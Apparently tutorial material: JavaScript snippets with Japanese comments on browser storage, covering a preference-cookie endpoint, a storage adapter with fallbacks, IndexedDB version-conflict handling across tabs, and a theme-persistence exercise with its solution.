app.get('/api/set-preference', (req, res) => {
  res.cookie('preference', req.query.value, {
    httpOnly: false,      // クライアントから読み取り可能にする場合
    secure: true,
    sameSite: 'lax',
    maxAge: 365 * 24 * 60 * 60 * 1000, // 1年
  });
  res.json({ success: true });
});

// ===== ストレージの可用性チェックと Fallback =====
 
class StorageAdapter {
  constructor() {
    this.backend = this.detectBackend();
    this.memoryFallback = new Map();
  }
 
  detectBackend() {
    // 1. localStorage が使えるか
    try {
      const testKey = '__storage_test__';
      localStorage.setItem(testKey, 'test');
      localStorage.removeItem(testKey);
      return 'localStorage';
    } catch {
      // localStorage が使えない
    }
 
    // 2. sessionStorage が使えるか
    try {
      const testKey = '__storage_test__';
      sessionStorage.setItem(testKey, 'test');
      sessionStorage.removeItem(testKey);
      return 'sessionStorage';
    } catch {
      // sessionStorage も使えない
    }
 
    // 3. Cookie が使えるか
    try {
      document.cookie = '__storage_test__=1';
      const hasCookie = document.cookie.includes('__storage_test__');
      document.cookie = '__storage_test__=; max-age=0';
      if (hasCookie) return 'cookie';
    } catch {
      // Cookie も使えない
    }
 
    // 4. 全て使えない場合はメモリフォールバック
    console.warn('No persistent storage available. Using in-memory storage.');
    return 'memory';
  }
 
  getItem(key) {
    switch (this.backend) {
      case 'localStorage':
        return localStorage.getItem(key);
      case 'sessionStorage':
        return sessionStorage.getItem(key);
      case 'cookie': {
        const match = document.cookie.match(
          new RegExp(`(?:^|; )${encodeURIComponent(key)}=([^;]*)`)
        );
        return match ? decodeURIComponent(match[1]) : null;
      }
      case 'memory':
        return this.memoryFallback.get(key) ?? null;
    }
  }
 
  setItem(key, value) {
    switch (this.backend) {
      case 'localStorage':
        localStorage.setItem(key, value);
        break;
      case 'sessionStorage':
        sessionStorage.setItem(key, value);
        break;
      case 'cookie':
        document.cookie =
          `${encodeURIComponent(key)}=${encodeURIComponent(value)}; ` +
          'max-age=31536000; path=/; samesite=lax';
        break;
      case 'memory':
        this.memoryFallback.set(key, value);
        break;
    }
  }
 
  removeItem(key) {
    switch (this.backend) {
      case 'localStorage':
        localStorage.removeItem(key);
        break;
      case 'sessionStorage':
        sessionStorage.removeItem(key);
        break;
      case 'cookie':
        document.cookie =
          `${encodeURIComponent(key)}=; max-age=0; path=/`;
        break;
      case 'memory':
        this.memoryFallback.delete(key);
        break;
    }
  }
}
 
// 使用例
const storage = new StorageAdapter();
console.log(`Using ${storage.backend} as storage backend`);
storage.setItem('theme', 'dark');
const theme = storage.getItem('theme');

// ===== IndexedDB のバージョン競合の処理 =====
 
// タブ A: 古いバージョン (v1) で接続中
// タブ B: 新しいバージョン (v2) でオープンしようとする
 
// タブ B 側のコード
const db = await openDB('MyApp', 2, {
  upgrade(db, oldVersion) {
    // このコードが実行されるのは、全ての古い接続が閉じた後
    if (oldVersion < 2) {
      db.createObjectStore('newStore', { keyPath: 'id' });
    }
  },
  blocked(currentVersion, blockedVersion, event) {
    // タブ A が v1 の接続を閉じないと、ここで待機状態になる
    console.warn(
      `Upgrade from v${currentVersion} to v${blockedVersion} is blocked.`
    );
    // ユーザーに他のタブを閉じるよう促す
    showNotification(
      'アプリの更新があります。他のタブを閉じてリロードしてください。'
    );
  },
  blocking(currentVersion, blockedVersion, event) {
    // 自分が古いバージョンで、他のタブがアップグレードしようとしている
    console.warn('This tab is blocking a database upgrade.');
    // 自分の接続を閉じてアップグレードを許可
    db.close();
    // リロードして新しいバージョンで接続
    window.location.reload();
  },
});
 
// ===== 推奨される onversionchange の実装パターン =====
 
// ネイティブ API の場合
const request = indexedDB.open('MyApp', 2);
request.onsuccess = (event) => {
  const db = event.target.result;
 
  db.onversionchange = () => {
    // 他のタブがバージョンアップを要求した
    db.close();
    alert('データベースが更新されました。ページをリロードしてください。');
    window.location.reload();
  };
};

// ===== 演習 1: テーマ切り替えの永続化 =====
 
// 要件:
// 1. ページ読み込み時に保存済みのテーマを復元する
// 2. テーマ変更ボタンを押すと localStorage に保存する
// 3. 他のタブでテーマが変更されたら同期する
// 4. システムのカラースキーム設定をデフォルト値として使う
 
// --- 解答例 ---
 
class ThemeManager {
  constructor() {
    this.STORAGE_KEY = 'app_theme';
    this.currentTheme = this.loadTheme();
    this.applyTheme(this.currentTheme);
    this.setupListeners();
  }
 
  loadTheme() {
    const saved = localStorage.getItem(this.STORAGE_KEY);
    if (saved === 'dark' || saved === 'light') {
      return saved;
    }
    // 保存値がなければシステム設定を使用
    return window.matchMedia('(prefers-color-scheme: dark)').matches
      ? 'dark'
      : 'light';
  }
 
  applyTheme(theme) {
    document.documentElement.setAttribute('data-theme', theme);
    document.documentElement.classList.toggle('dark', theme === 'dark');
    this.currentTheme = theme;
  }
 
  toggle() {
    const newTheme = this.currentTheme === 'dark' ? 'light' : 'dark';
    this.applyTheme(newTheme);
    localStorage.setItem(this.STORAGE_KEY, newTheme);
  }
 
  setupListeners() {
    // 他のタブからの変更を検知
    window.addEventListener('storage', (event) => {
      if (event.key === this.STORAGE_KEY && event.newValue) {
        this.applyTheme(event.newValue);
      }
    });
 
    // システム設定の変更を検知
    window.matchMedia('(prefers-color-scheme: dark)')
      .addEventListener('change', (event) => {
        // localStorage に保存値がなければシステム設定に追従
        if (!localStorage.getItem(this.STORAGE_KEY)) {
          this.applyTheme(event.matches ? 'dark' : 'light');
        }
      });
  }
}
 
// 使用
const themeManager = new ThemeManager();
document.getElementById('theme-toggle')
  .addEventListener('click', () => themeManager.toggle());